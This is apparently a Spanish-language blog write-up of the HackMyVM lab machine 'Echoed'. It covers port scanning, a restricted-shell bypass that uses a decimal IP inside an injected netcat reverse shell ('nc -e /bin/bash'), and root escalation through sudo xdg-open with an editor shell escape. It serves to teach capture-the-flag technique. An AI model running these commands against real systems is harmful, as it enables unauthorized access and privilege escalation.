cd ~/blog

~/writeups/hmv/006-echoed.md

006 - Echoed

medium Linux hmv 13-08-2024
Restricted shell bypass (decimal IP)sudo xdg-open Privesc
hackmyvm.eu/machines/machine.php?vm=Echoed

~1 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.41
 nmap -sCV -p 22,80,4444 -oN 02-targeted.txt 192.168.1.41
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-13 19:25 -04
Nmap scan report for 192.168.1.41
Host is up (0.00035s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 de:3a:50:8e:5d:21:09:7e:40:3f:b2:07:bb:41:08:7e (RSA)
|   256 5c:57:56:da:e5:1c:3e:bc:9a:a2:8d:6d:21:4e:bc:f9 (ECDSA)
|_  256 f8:aa:dc:d3:27:52:e3:99:32:98:45:5b:52:f0:bc:e1 (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
4444/tcp open  krb524?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.60 seconds

Terminal restringida en el puerto 4444

Nos conectamos con netcat al servicio del puerto 4444:

 nc 192.168.1.41 4444 -vvv
192.168.1.41: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.41] 4444 (?) open
Command:

Nos permite interactuar con una terminal, pero con varias restricciones: filtra el uso de puntos, algunas letras, etc. Como el filtro bloquea los puntos de la dirección IP, lo sorteamos convirtiendo nuestra IP a su representación decimal, que el sistema interpreta igualmente como una dirección válida:

192.168.1.5 = 3232235781

Command:";nc -e /bin/bash 3232235781 1234"

Recibimos la conexión y obtenemos shell como charlie:

 ncat -nlvp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.41:45414.
script /dev/null -c bash
Script started, file is /dev/null
charlie@echoed:~$

Estabilizamos la TTY con script y obtenemos la primera flag.

Escalada de privilegios (sudo xdg-open)

Revisamos sudo -l:

charlie@echoed:~$ sudo -l
Matching Defaults entries for charlie on echoed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charlie may run the following commands on echoed:
    (ALL : ALL) NOPASSWD: /usr/bin/xdg-open

xdg-open abre un archivo con la aplicación asociada por defecto. Al pasarle un fichero de texto, lanza un editor desde el que podemos escapar a una shell con !/bin/bash, que se ejecutará con privilegios de root:

charlie@echoed:/tmp$ echo "pwned" > pwned
charlie@echoed:/tmp$ sudo /usr/bin/xdg-open pwned
!/bin/bash
root@echoed:/tmp#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados